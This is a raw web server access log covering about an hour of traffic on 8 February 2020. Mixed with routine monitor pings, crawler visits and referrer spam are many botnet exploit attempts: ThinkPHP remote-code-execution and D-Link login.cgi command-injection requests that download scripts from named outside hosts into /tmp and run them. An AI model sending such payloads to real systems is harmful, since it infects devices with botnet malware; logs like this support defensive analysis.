101.108.99.83 - - [08/Feb/2020:10:07:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:10:07:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:10:08:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:10:09:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.142.59.25 - - [08/Feb/2020:10:10:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:10:10:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.174.238 - - [08/Feb/2020:10:10:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.148.10.179 - - [08/Feb/2020:10:10:56 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
87.110.76.87 - - [08/Feb/2020:10:11:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:10:11:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.148.10.179 - - [08/Feb/2020:10:11:47 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
45.148.10.179 - - [08/Feb/2020:10:12:16 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [08/Feb/2020:10:12:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.20.29.126 - - [08/Feb/2020:10:13:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:10:13:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.148.10.179 - - [08/Feb/2020:10:13:57 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
45.148.10.179 - - [08/Feb/2020:10:14:22 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [08/Feb/2020:10:14:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.148.10.179 - - [08/Feb/2020:10:14:54 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
45.148.10.179 - - [08/Feb/2020:10:15:17 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
73.32.140.239 - - [08/Feb/2020:10:15:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
45.148.10.179 - - [08/Feb/2020:10:15:37 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [08/Feb/2020:10:15:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:10:16:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.148.10.179 - - [08/Feb/2020:10:17:33 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [08/Feb/2020:10:17:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.172.172.229 - - [08/Feb/2020:10:18:38 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:10:18:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.170.237.96 - - [08/Feb/2020:10:18:53 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
66.151.211.218 - - [08/Feb/2020:10:19:13 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
66.151.211.218 - - [08/Feb/2020:10:19:29 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [08/Feb/2020:10:19:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.151.211.218 - - [08/Feb/2020:10:19:56 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
218.158.126.72 - - [08/Feb/2020:10:19:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [08/Feb/2020:10:20:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.41.161.150 - - [08/Feb/2020:10:20:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
218.158.126.72 - - [08/Feb/2020:10:20:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [08/Feb/2020:10:20:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:10:20:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.158.126.72 - - [08/Feb/2020:10:20:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
90.154.122.85 - - [08/Feb/2020:10:21:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:10:21:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.183.84 - - [08/Feb/2020:10:21:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:10:22:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.72.93.32 - - [08/Feb/2020:10:23:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:10:23:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:10:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:10:25:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:10:26:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.119.171.190 - - [08/Feb/2020:10:27:11 +0100] "GET / HTTP/1.1" 200 1229 "http://xn--d1abj0abs9d.in.ua/" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)"
46.119.171.190 - - [08/Feb/2020:10:27:12 +0100] "GET / HTTP/1.1" 200 1229 "http://xn--d1abj0abs9d.in.ua/" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)"
46.119.171.190 - - [08/Feb/2020:10:27:12 +0100] "GET / HTTP/1.1" 200 1229 "http://xn--d1abj0abs9d.in.ua/" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)"
212.91.246.72 - - [08/Feb/2020:10:27:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.122.224.20 - - [08/Feb/2020:10:27:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:10:28:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.23.27.140 - - [08/Feb/2020:10:28:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
212.91.246.72 - - [08/Feb/2020:10:29:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:10:30:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:10:31:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.67.92 - - [08/Feb/2020:10:32:07 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
91.121.11.121 - - [08/Feb/2020:10:32:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
212.91.246.72 - - [08/Feb/2020:10:32:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.197.168.66 - - [08/Feb/2020:10:33:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:10:33:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.91.40.107 - - [08/Feb/2020:10:34:00 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [08/Feb/2020:10:34:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:10:35:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.235.93.149 - - [08/Feb/2020:10:36:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [08/Feb/2020:10:36:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:10:37:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:10:38:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.201.179.77 - - [08/Feb/2020:10:39:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:10:39:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.72.206.126 - - [08/Feb/2020:10:39:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
42.112.126.208 - - [08/Feb/2020:10:40:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:10:40:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.23.222.44 - - [08/Feb/2020:10:41:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
212.91.246.72 - - [08/Feb/2020:10:41:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.234.221.105 - - [08/Feb/2020:10:41:48 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.234.221.105 - - [08/Feb/2020:10:41:48 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.234.221.105 - - [08/Feb/2020:10:41:49 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.234.221.105 - - [08/Feb/2020:10:41:50 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.234.221.105 - - [08/Feb/2020:10:41:50 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.234.221.105 - - [08/Feb/2020:10:41:51 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.234.221.105 - - [08/Feb/2020:10:41:51 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.234.221.105 - - [08/Feb/2020:10:41:52 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.234.221.105 - - [08/Feb/2020:10:41:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
42.98.91.206 - - [08/Feb/2020:10:42:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.165.216.213 - - [08/Feb/2020:10:42:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
212.91.246.72 - - [08/Feb/2020:10:42:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.23.27.140 - - [08/Feb/2020:10:43:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
5.251.141.196 - - [08/Feb/2020:10:43:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:10:43:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:10:44:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.135.238.154 - - [08/Feb/2020:10:45:18 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [08/Feb/2020:10:45:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:10:46:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.235.109.137 - - [08/Feb/2020:10:47:14 +0100] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
183.80.15.68 - - [08/Feb/2020:10:47:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:10:47:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:10:48:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [08/Feb/2020:10:49:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [08/Feb/2020:10:49:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.87.104.18 - - [08/Feb/2020:10:50:02 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
58.87.104.18 - - [08/Feb/2020:10:50:02 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
58.87.104.18 - - [08/Feb/2020:10:50:03 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
58.87.104.18 - - [08/Feb/2020:10:50:03 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
58.87.104.18 - - [08/Feb/2020:10:50:04 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
58.87.104.18 - - [08/Feb/2020:10:50:04 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
58.87.104.18 - - [08/Feb/2020:10:50:04 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
58.87.104.18 - - [08/Feb/2020:10:50:05 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
58.87.104.18 - - [08/Feb/2020:10:50:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [08/Feb/2020:10:50:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:10:51:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.241.167.154 - - [08/Feb/2020:10:52:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:10:52:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:10:53:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:10:54:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.245.179.111 - - [08/Feb/2020:10:54:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
45.148.10.179 - - [08/Feb/2020:10:55:34 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [08/Feb/2020:10:55:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:10:56:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.221.111.180 - - [08/Feb/2020:10:56:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
54.36.149.16 - - [08/Feb/2020:10:57:05 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [08/Feb/2020:10:57:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:10:58:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.32.140.239 - - [08/Feb/2020:10:58:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
51.254.59.113 - - [08/Feb/2020:10:58:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
193.239.213.94 - - [08/Feb/2020:10:59:27 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [08/Feb/2020:10:59:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:11:00:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.31.165 - - [08/Feb/2020:11:00:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:11:01:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.243.50.22 - - [08/Feb/2020:11:02:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
31.211.65.202 - - [08/Feb/2020:11:02:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
46.118.121.248 - - [08/Feb/2020:11:02:34 +0100] "GET / HTTP/1.1" 200 1229 "https://porno-gallery.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; XMPP Tiscali Communicator v.10.0.2; .NET CLR 2.0.50727)"
